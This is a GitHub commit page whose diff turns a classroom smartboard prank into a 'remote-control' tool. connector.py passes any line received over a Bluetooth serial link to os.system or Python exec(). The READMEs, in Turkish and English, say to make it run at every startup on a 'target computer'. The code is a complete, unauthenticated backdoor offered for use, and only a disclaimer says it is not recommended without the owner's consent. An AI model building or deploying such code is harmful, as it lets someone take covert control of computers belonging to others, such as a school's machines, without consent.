Skip to content

Commit

Permalink
1.0.0
Browse files Browse the repository at this point in the history
  • Loading branch information
sanalzio committed Jul 5, 2024
1 parent 561b1a3 commit 84c0452
Show file tree
Hide file tree
Showing 8 changed files with 154 additions and 174 deletions.
59 changes: 0 additions & 59 deletions HackTheTahta.ino.old

This file was deleted.

33 changes: 0 additions & 33 deletions HackTheTahta.ino.old+

This file was deleted.

21 changes: 21 additions & 0 deletions OKU_BENI.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# remote-control

Hedef bilgisayar üzerinde arduino ve bluetooth modülü ile istediğiniz sitem komutunu ve python kodunu çalıştırmanızı sağlayan bir kod.

## Kurulum
Bu kodu bir şekilde hedef bilgisayar her açıldığında çalıştıracak hale getirmeniz yeterlidir.

## Kullanım
Hedef bilgisayara kurulumu yapın ve HC-05 yada HC-06 gibi bluetooth modülleri ile oluşturacağınız devreyi çalıştırın. Devreyi sizin için tespit edecek ve eğer açıksa bağlanacak. Bağlanıp bağlanmadığını bluetooth modülü üzerindeki led ışık ile anlayabilirsiniz. Sonrasından devrenin bluetooth bağlantısı üzerinden gönderdiği komutları kod çalıştıracaktır.

### Python kodu çalıştırmak

Eğer pthon kodu çalıştırmak istiyorsanız direkt kod satırını seri bluetooth bağlantısı üzerinden göndermeniz yeterlidir.

### Sistem komutları çalıştırmak

Komutun başına `$` karakteri koyup seri bluetooth bağlantısı üzerinden göndermeniz yeterlidir.

## Uyarı

Sorumluluğu üzerime almam bu kodu kullanarak sorumluluğun sizin üzerinizde olduğunu kabul etmiş olursunuz. Bu kod eğlence amaçlı yazılmıştır. Hedef bilgisayarın sahibinin rızası olmadan kullanmanızı tavsiye etmem.
24 changes: 18 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,21 @@
# Hack The Tahta
# remote-control

Okuldaki tahtayı arduino ve HC-05 modülü ile uzaktan kontrol etme işlevini gören bizim sınıfa eğlenceli vakitler geçirten bir proje.
A code that allows you to execute any system command and Python code on a target computer using an Arduino and a Bluetooth module.

## Kurulum
Bu kodu derleyip yada tahtaya python3 yükleyip bilgisayar her açıldğında çalışmasını sağlayan bir hale getirip kullanabilir ve eğlenceli vakitler geçirebilirsiniz.
## Installation
It's sufficient to ensure that this code runs every time the target computer starts.

## Kullanım
bu program kodda yaptığınız ayarlamalara göre neredeyse istediğinizi yapabilirsiniz ben tuşlara göre kapatma masaüstüne alma gibi işlemler atadım.
## Usage
Install it on the target computer and run the circuit you will create with Bluetooth modules like HC-05 or HC-06. The circuit will detect and connect to the Bluetooth module if it is on. You can tell if it is connected by the LED light on the Bluetooth module. Afterwards, the code will execute commands sent over the Bluetooth connection of the circuit.

### Running Python code

If you want to run Python code, simply send the code line over the serial Bluetooth connection.

### Executing system commands

Simply place the `$` character before the command and send it over the serial Bluetooth connection.

## Warning

I do not take responsibility for the use of this code. By using this code, you accept that the responsibility lies with you. This code is written for entertainment purposes. It is not recommended to use it without the consent of the owner of the target computer.
5 changes: 0 additions & 5 deletions compile.txt

This file was deleted.

127 changes: 107 additions & 20 deletions connector.py
Original file line number Diff line number Diff line change
@@ -1,26 +1,113 @@
#○--- Imports ---○#

# import module for serial communication
import serial

# import module for listing serial ports
import serial.tools.list_ports
import keyboard
ports=serial.tools.list_ports.comports()
bports=[]
p=None

# import module for controlling mouse and keyboard
from pyautogui import *

# import module for system command calls
from os import system as call

#○--- Imports ---○#




#○--- Main ---○#


#○--- Detecting Bluetooth port ---○#

# asign serial ports to variable
ports = serial.tools.list_ports.comports()
# create list for bluetooth ports
bluetooth_ports = []
# create variable for serial port
port = None

# print info
print('Searching for serial port communication...')
while len(bports)==0:
for(port,desc,hwid)in sorted(ports):
if'Bluetooth'in desc:bports.append(port);print(f"Detected {desc}")
for port in bports:
for dp in bports:
if int(port[len(port)-1:])>int(dp[len(dp)-1:]):p=int(port[len(port)-1:])

# while loop to detect bluetooth
while len(bluetooth_ports) == 0:

# for loop to list serial ports
for (port, desc, hwid) in sorted(ports):

# if statement to detect bluetooth
if ('Bluetooth' in desc):

# add bluetooth port to list
bluetooth_ports.append(port)
# print info
print(f"Detected {desc}")

# for loop to list bluetooth ports
for this_port in bluetooth_ports:

# for loop to list bluetooth ports
for detected_port in bluetooth_ports:

# if statement to compare bluetooth ports
if int( this_port[ len(this_port) - 1 : ] ) > int( detected_port[ len(detected_port) - 1 : ] ):
# set port to bluetooth port
port = int(this_port[ len(this_port) - 1 : ])


#○--- Detecting Bluetooth port ---○#



# print info
print(f"Using {port}")



#○--- Listening Bluetooth port for commands ---○#

# create infinite loop
while True:

# try except block
try:
with serial.Serial('COM'+str(p),9600,timeout=1)as ser:

# start serial communication
with serial.Serial('COM' + str(port), 9600, timeout = 1) as ser:

# while loop to read data
while True:
line=ser.readline();con=str(line)[2:len(str(line))-5]
if len(str(line))!=3:
if con=='1':keyboard.send('alt+tab')
elif con=='2':keyboard.send('win+d')
elif con=='3':keyboard.send('alt+f4')
elif con=='4':keyboard.send('space')
print(con)
except:
continue

# read data and convert to string
line = ser.readline()
content = str(line)[ 2 : len(str(line)) - 5 ]

# if statement to check if data is not empty
if len(str(line)) != 3:

# if statement to check if data starts with $
if content.startswith("$"):

# execute system command
call(content[1:])
# print info
print(" $ " + content[1:])

else:

# execute python code
exec(content)
# print info
print(content)

except Exception as e:
print(e)


#○--- Listening Bluetooth port for commands ---○#


#○--- Main ---○#
45 changes: 0 additions & 45 deletions connector.spec

This file was deleted.

14 changes: 8 additions & 6 deletions HackTheTahta.ino → remote_control.ino
Original file line number Diff line number Diff line change
Expand Up @@ -5,29 +5,31 @@ SoftwareSerial mySerial(7, 6);

void setup() {
mySerial.begin(9600);
//Serial.begin(9600);
pinMode(13, OUTPUT);
digitalWrite(13, HIGH);
// Serial.begin(9600);
}

void loop() {
int btnInp = analogRead(buttons);
//mySerial.println(btnInp);
if(btnInp>1000){
mySerial.println("EK-alt+tab");
mySerial.println("hotkey('alt', 'tab')");
delay(1000);
}
else if(btnInp>400 && btnInp<600){
mySerial.println("EK-win+d");
mySerial.println("hotkey('win', 'd')");
delay(1000);
}
else if(btnInp>300 && btnInp<400){
mySerial.println("EK-alt+f4");
mySerial.println("hotkey('alt', 'f4')");
delay(1000);
}
else if(btnInp>200 && btnInp<300){
mySerial.println("EK-space");
mySerial.println("press('space')");
delay(1000);
}
/* else {
mySerial.println(btnInp);
} */
}
}

0 comments on commit 84c0452

Please sign in to comment.